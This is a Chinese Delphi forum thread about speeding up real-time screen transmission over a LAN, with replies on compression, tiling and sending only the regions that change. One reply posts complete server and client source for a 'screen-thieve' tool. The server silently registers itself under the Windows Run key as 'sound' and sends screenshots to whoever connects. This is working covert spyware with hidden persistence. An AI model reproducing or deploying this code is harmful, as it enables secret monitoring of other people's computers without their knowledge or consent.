请帮我结束痛苦!(关于网络上的图象传输) (200分)

小弟正在写一个实时屏幕传输小东东，原来用的是 NMStrm+bmp+lzw(流压缩单元)
点对点的速度还可以，800*600/16bit，能基本达到实时(约半秒)无奈的是NMStrm
好象不能支持网络广播，这下就苦了我了，得知NMUDP能很容易实现广播，于是改用
NMUDP，程序如下，但是速度太慢了，要一两分钟才能传一帧图片这可如何是好，救
救小弟我吧！ (bmp(936k)->stream(lzw,90k), 100M局域网)哪位大侠，帮我优化
一下，或者提供另一个可行的方案，或者是提供一个更快，压缩比更高的流压缩单元
(分数在http://www.delphibbs.com/delphibbs/dispq.asp?lid=794044给出)
//发送部分
var
tp: array[0..5]of Char;
ss,ls:integer;//sendsize,leftsize
wid,cid:dword;
mspt: TPoint;
buf:array[0..bs-1] of char;//bs=2048;
begin
//传输前的初始工作
ls:=0; stm.Clear; ssm.Clear;
tp:='SrcCap';
NMUDP.SendBuffer(tp,6);
repeat
if ls>0 then begin//数据没发完
if ls>bs then ss:=bs else ss:=ls;
ssm.ReadBuffer(buf,ss);
ls:=ls-ss;
NMUDP.SendBuffer(buf,ss);//将数据发到6711
end
else begin//数据已发完，重新截屏
BitBlt(bmp.Canvas.Handle,0,0,sw,sh,dc,0,0,SRCCOPY);
stm.Clear; ssm.Clear;
bmp.SaveToStream(stm);
LZ.CompressToStream(stm.Memory,ssm,stm.Size);
stm.Clear;
ls:=ssm.Size;
end;
Application.HandleMessage;
until EndBtn.Enabled=false;
end;
//接收部分
var tp: string;
begin
stm.Clear;
NMUDP.ReadBuffer(buf,NumberBytes);
tp:=Copy(buf,0,6);
if tp='SrcCap' then begin
ssm.Clear;
Exit;
end;
stm.Write(buf,NumberBytes);
stm.Position:=0;
ssm.CopyFrom(stm,NumberBytes);
stm.Clear;
if NumberBytes<bs then begin//数据已读完
ssm.Position:=0;
LZ.DeCompressToStream(ssm.Memory,stm,ssm.Size);
bmp.LoadFromStream(stm);
ssm.Clear;
BitBlt(MainFm.Canvas.Handle,0,0,800,600,bmp.Canvas.Handle,0,0,SRCCOPY);
end;
Application.HandleMessage;
end;
如果你也想知道答案请帮助提前,我的邮件是：pyh_jerry@163.net

gz

提前

压成jpeg还可以小

delphi中的timage压bmp到jpeg速度太慢，实际效果还不如传没压缩过的bmp好
我试过了，不知上面的老兄是不是有快些的jpeg压缩算法？

呵呵
曹大侠两、三年前好象写过
小波变换的压缩方法

可以把屏幕分割成几块，监测变化的块用delphi自带的zlib压缩数据再传送异地终端,我有原码可以给你.
下面是其中的一个函数你可以先参考一下.
bool TAppShareServerImg::InitByHDC(HDC hDC)//根据一个DC进行初始化
{
if(m_bGDIInit)return false;//已经初始化
if(m_iXSplit<=0 ||m_iXSplit >100) m_iXSplit=8;
if(m_iYSplit<=0 ||m_iYSplit >100) m_iYSplit=8;
if(m_iXSplit * m_iYSplit >255)
{
m_iXSplit=8;
m_iYSplit=8;
}
GdiDS Gdi;

int iWidthX,iHeightY;//,nGrid;

// Get the Device Context for the Entire Display
//rem hDDC = CreateDC("DISPLAY",NULL,NULL,NULL);
m_iDCWidth = GetDeviceCaps(hDC,HORZRES);//宽度
m_iDCHeight = GetDeviceCaps(hDC,VERTRES);//高度
iWidthX =(m_iXSplit > 0)? m_iDCWidth/m_iXSplit : m_iDCWidth;//取得每块宽度
iHeightY = (m_iYSplit > 0)? m_iDCHeight/m_iYSplit : m_iDCHeight; //取得每块高度

m_hMemDC = CreateCompatibleDC(hDC);//创建块的dc
m_hMemDIB= CreateCompatibleBitmap(hDC,iWidthX,iHeightY);//创建块的hbmp
SelectObject(m_hMemDC,m_hMemDIB);//bmp选入dc

// Create the Regional Bitmap and Memory DC Information for the Grids
// Initialize the Gdi Linked List
GdiStart.pNext = NULL;
pGdiNode = &amp;GdiStart;
for (int iXGrid = 0;iXGrid < m_iXSplit;iXGrid++)
{
for (int iYGrid = 0;iYGrid < m_iYSplit;iYGrid++)
{
//取得格的坐标位置
Gdi.iGridX = iXGrid;
Gdi.iGridY = iYGrid;

// Get the Rectangular Coordinates of the Region
//取得实际坐标
Gdi.iLeft = iXGrid * iWidthX;
Gdi.iRight = iXGrid * iWidthX + iWidthX;
Gdi.iTop = iYGrid * iHeightY;
Gdi.iBottom = iYGrid * iHeightY + iHeightY;

pGdiNode = Add_Gdi(pGdiNode,Gdi);//节点添加到链表
}
}
m_hNullDC = GetDC(NULL);// Get a DC to Get the DIB From and Remap the System Palette

//以下为每个区域分配内存，并把第一次取得的图象信息添充到模板
BITMAPINFOHEADER BMIHTemp;
pGdiNode = GdiStart.pNext;
while (pGdiNode)
{
//在屏幕截取属于自己的图
BitBlt(m_hMemDC,0,0,pGdiNode->Gdi.iRight,pGdiNode->Gdi.iBottom,
hDC,pGdiNode->Gdi.iLeft,pGdiNode->Gdi.iTop,SRCCOPY);

//取得bitmap结构信息所有图共用一个信息头，只分配一次内存
if(!m_pBMI)
{
//取得bitmap结构信息
GetObject(m_hMemDIB,sizeof(BITMAP),&amp;(m_DIBitmap));

// Set the Color Mode
m_DIBitmap.bmBitsPixel = m_bmBitsPixel;//4
// Initialize the Bitmap Info Header
BMIHTemp.biSize = sizeof(BITMAPINFOHEADER);
BMIHTemp.biWidth = m_DIBitmap.bmWidth;
BMIHTemp.biHeight = m_DIBitmap.bmHeight;
BMIHTemp.biPlanes = 1;
BMIHTemp.biBitCount = (WORD)m_DIBitmap.bmPlanes * (WORD)m_DIBitmap.bmBitsPixel;
BMIHTemp.biCompression = BI_RGB;
BMIHTemp.biSizeImage = 0;
BMIHTemp.biXPelsPerMeter = 0;
BMIHTemp.biYPelsPerMeter = 0;
BMIHTemp.biClrUsed = 0;
BMIHTemp.biClrImportant = 0;

// 设区域颜色数
m_nColors = 1 << BMIHTemp.biBitCount;
if (m_nColors > 256) m_nColors = 0; // Palette Not Used
//信息头和颜色表长度
m_dwBitMapHeader= (DWORD)(sizeof(BITMAPINFOHEADER) + m_nColors * sizeof(RGBQUAD));//信息头和颜色表长度

m_pBMI = (LPBITMAPINFO)malloc(m_dwBitMapHeader);//申请临时内存

//根据pGdiNode->Gdi.hDIBitmap取得正确的bitmapinfo
m_pBMI->bmiHeader=BMIHTemp;
GetDIBits(m_hNullDC,m_hMemDIB,0L,(DWORD)BMIHTemp.biHeight,
(LPBYTE)NULL,m_pBMI,DIB_RGB_COLORS);
//计算后的信息头添到信息结构中
//pGdiNode->Gdi.BMIH = pGdiNode->Gdi.lpBMI->bmiHeader ;
//free(pTemp);//释放
//图象总长=头+调色板+数据
m_dwImageLen = (DWORD)(m_pBMI->bmiHeader.biSizeImage);//m_dwBitMapHeader +


}
//if(!m_pDIBChange) m_pDIBChange = malloc(m_dwImageLen);//比较后的数据存放区
if(!m_pDIBNew) m_pDIBNew = malloc(m_dwImageLen );//申请内存存放新数据

//新分配的块首赋给信息头指针
//pGdiNode->Gdi.lpBMIH = (LPBITMAPINFOHEADER)pGdiNode->Gdi.pDIBNew;

// Get the Regional DIB取得数据信息
GetDIBits(m_hNullDC,m_hMemDIB,0L,(DWORD)m_pBMI->bmiHeader.biHeight,(LPBYTE)m_pDIBNew ,(LPBITMAPINFO)m_pBMI,DIB_RGB_COLORS);

//为模板分配内存
pGdiNode->Gdi.pDIBModal = malloc(m_dwImageLen);
pGdiNode->Gdi.pDIBChange = malloc(m_dwImageLen);

//pGdiNode->Gdi.pDIBCompress = malloc(m_dwImageLen + 1536);//分配压缩区
//pGdiNode->Gdi.pDIBChangeStart = pGdiNode->Gdi.pDIBChange;
//数据拷贝到模板上
memblast(pGdiNode->Gdi.pDIBModal,m_pDIBNew,m_dwImageLen);
//rem memblast(pGdiNode->Gdi.pDIBChange,m_pDIBNew,m_dwImageLen);

pGdiNode->Gdi.bChange = FALSE;//没有变化
//pGdiNode->Gdi.dwCompress = m_dwImageLen;// Set the Length to Compress
//pGdiNode->Gdi.iStartPos = 0;

pGdiNode = pGdiNode->pNext;// Move to the Next Element
}

m_bGDIInit=true;
return m_bGDIInit;
}

压缩的控件老赵开了一个问题。
http://www.delphibbs.com/delphibbs/dispq.asp?lid=610129
先压缩在传输吧。

传输文件会明显变小：
bitmap:=tbitmap.Create;
jpg:=tjpegimage.Create;
desk:=tcanvas.Create; //以下代码为取得当前屏幕图象
desk.Handle:=getdc(hwnd_desktop);
m1:=tmemorystream.Create; //初始化流m1,在用sendstream(m1)发送流后，
//不能用手工free掉，否则会触发异常
with bitmap do
begin
width:=screen.Width;
height:=screen.Height;
canvas.CopyRect(canvas.cliprect,desk,desk.cliprect);
end;
jpg.Assign(bitmap); //将图象转成JPG格式
jpg.SaveToStream(m1); //将JPG图象写入流中
jpg.free;
关注！

ljp686:我也想知道,如方便请给我发一份,谢谢!
E-MAIL:yuanzhicheng@263.net

听课！

ljp686:我也想知道,如方便请给我发一份,谢谢!
E-MAIL:zqlandy@21cn.com

直接使用h263传输video不行吗？

给我一份，hds-2000@sohu.com

我这有一个以Socket来完成这一功能的程序,你可以参考以下：
服务器端：
unit Unit_server;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,jpeg,registry,shellapi, Buttons;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
procedure sendscreen();
procedure snapscreen();
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
const BufSize=2048;
var
LeftSize:Longint;
jpegStream:TMemoryStream;
{$R *.DFM}
procedure TForm1.sendscreen();
var
sendsize:longint;
Buf:array[0..BufSize-1] of char;
begin
if jpegstream.Size =0 then snapscreen();
if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
jpegStream.ReadBuffer(Buf,sendsize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then jpegStream.Clear;
try
serversocket1.Socket.Connections[0].SendBuf (buf,sendsize);
except
jpegstream.Clear ;
end;
end;

procedure TForm1.snapscreen();
var
bmpscreen:Tbitmap;
jpegscreen:Tjpegimage;
FullscreenCanvas:TCanvas;
dc:HDC;
sourceRect, destRect: TRect;
begin
dc:=getdc(0);
fullscreencanvas:=Tcanvas.Create;
fullscreencanvas.Handle:=dc;
bmpscreen:=Tbitmap.create;
bmpscreen.Width :=screen.Width ;
bmpscreen.Height :=screen.Height ;
sourcerect:=rect(0,0,screen.Width ,screen.Height );
destrect:= rect(0,0,screen.Width ,screen.Height);
bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
jpegscreen:=Tjpegimage.Create ;
jpegscreen.Assign (bmpscreen);
jpegscreen.CompressionQuality:=40;
jpegscreen.SaveToStream (jpegStream);
jpegstream.Position :=0;
LeftSize:=jpegStream.Size;
FullscreenCanvas.Free;
bmpscreen.Free;
jpegscreen.Free ;
ReleaseDC(0, DC);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
snapscreen();
end;

procedure TForm1.FormCreate(Sender: TObject);
var
reg:Tregistry;
begin
reg:=Tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
if not reg.KeyExists('SOFTWARE/screen-thieve') then begin
reg.CreateKey ('SOFTWARE/screen-thieve');
reg.OpenKey ('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('sound',application.ExeName );
end;
reg.CloseKey ;
jpegStream:=TmemoryStream.Create ;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
rstr:string;
begin
rstr:=socket.ReceiveText;
if rstr ='show' then
begin
sendscreen();
end;
if rstr='stop' then jpegstream.Clear;
end;

procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
jpegstream.Clear;
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
jpegstream.Clear;
end;

end.

客户端：
unit Unit_client;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ScktComp, ExtCtrls, ToolWin, ComCtrls, Menus, Buttons,shellapi,
jpeg;

type
TForm_main = class(TForm)
Image1: TImage;
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
CoolBar1: TCoolBar;
menu_connect: TMenuItem;
menu_thieve: TMenuItem;
menu_stop: TMenuItem;
menu_disconnect: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
menu_help: TMenuItem;
N5: TMenuItem;
ToolBar1: TToolBar;
bt_close: TSpeedButton;
bt_help: TSpeedButton;
bt_about: TSpeedButton;
bt_disconnect: TSpeedButton;
bt_stop: TSpeedButton;
bt_thieve: TSpeedButton;
bt_connect: TSpeedButton;
ToolButton1: TToolButton;
ToolButton2: TToolButton;
menu_homepage: TMenuItem;
menu_email: TMenuItem;
N8: TMenuItem;
menu_about: TMenuItem;
ClientSocket1: TClientSocket;
procedure bu_snapClick(Sender: TObject);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure bt_connectClick(Sender: TObject);
procedure bt_closeClick(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure bt_thieveClick(Sender: TObject);
procedure bt_aboutClick(Sender: TObject);
procedure bt_helpClick(Sender: TObject);
procedure menu_homepageClick(Sender: TObject);
procedure menu_emailClick(Sender: TObject);
procedure bt_stopClick(Sender: TObject);
procedure bt_disconnectClick(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form_main: TForm_main;

implementation

uses Unit_about;
const bufsize=2048;
var
stream:Tmemorystream;
jpegscreen:Tjpegimage;
isthieve:boolean;
{$R *.DFM}

procedure TForm_main.bu_snapClick(Sender: TObject);
begin
clientsocket1.Socket.SendText ('show');
end;

procedure TForm_main.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
buf:array[0..bufsize] of char;
numberbytes:integer;
begin
if isthieve then begin
numberbytes:=socket.ReceiveLength;
socket.receiveBuf(buf,numberbytes);
socket.SendText('show');
stream.Write(buf,numberbytes);
if numberbytes<2048 then begin
stream.Position :=0;
try
jpegscreen.LoadFromStream(stream);
image1.Picture.Bitmap.Assign(jpegscreen);
except
end;
stream.Clear ;
end;
end;
if not isthieve then socket.SendText('stop');
end;

procedure TForm_main.FormCreate(Sender: TObject);
begin
image1.Width :=screen.Width ;
image1.Height :=screen.Height;
stream:=Tmemorystream.Create ;
stream.Position :=0;
jpegscreen:=Tjpegimage.Create ;
isthieve:=false;
end;

procedure TForm_main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
clientsocket1.Socket.SendText('complete');
clientsocket1.Active :=false;
stream.Free;
jpegscreen.Free ;
end;

procedure TForm_main.bt_connectClick(Sender: TObject);
var
remotehost:string;
begin
remotehost:=inputbox('建立连接','请输入被察看的机器的IP地址或名称：','127.0.0.1');
if trim(remotehost)<>'' then
begin
clientsocket1.Host :=remotehost;
clientsocket1.Active :=true;
end;
end;

procedure TForm_main.bt_closeClick(Sender: TObject);
begin
clientsocket1.Active :=false;
close;
end;

procedure TForm_main.SpeedButton1Click(Sender: TObject);
var
remotehost:string;
begin
remotehost:=inputbox('建立连接','请输入被察看的机器的IP地址或名称：','');
if trim(remotehost)<>'' then
begin
if clientsocket1.Active then clientsocket1.Active :=true;
clientsocket1.Port :=15333;
clientsocket1.Host :=remotehost;
try
clientsocket1.Active :=true;
except
showmessage('连接失败！');
end;
end;

end;

procedure TForm_main.bt_thieveClick(Sender: TObject);
//开始传送图像
begin
stream.Clear ;
isthieve:=true;
clientsocket1.Socket.SendText ('show');
end;

procedure TForm_main.bt_aboutClick(Sender: TObject);
begin
form_about.ShowModal ;
end;



procedure TForm_main.menu_homepageClick(Sender: TObject);
begin
shellexecute(handle,nil,'http://xnzhwj.yeah.net',nil,nil,sw_normal);
end;

procedure TForm_main.menu_emailClick(Sender: TObject);
begin
shellexecute(handle,nil,'mailto:ccbxnzhwj@netease.com',nil,nil,sw_normal);
end;

procedure TForm_main.bt_stopClick(Sender: TObject);
//停止连接
begin
stream.Clear ;
isthieve:=false;
clientsocket1.Socket.SendText('stop');
end;

procedure TForm_main.bt_disconnectClick(Sender: TObject);
//断开于服务器的连接
begin
isthieve:=false;
clientsocket1.Active :=false;
stream.Clear ;
end;

procedure TForm_main.Button1Click(Sender: TObject);
begin
clientsocket1.Socket.SendText ('a1111aaa');
end;

procedure TForm_main.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
showmessage('连接成功！');
end;

procedure TForm_main.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
isthieve:=false;
stream.Clear ;
//showmessage(inttostr(errorcode));
end;

end.

bmp+xor+压缩

how to?

谁给我实时屏幕传输
我给money!!!

我都不要你的meney!
去sourceforge上面以h263之类的为关键字找找肯定都有一堆
freshmeat也有。

怎么都是整屏发送呀，哪个区域变化了发送哪个区域就行了。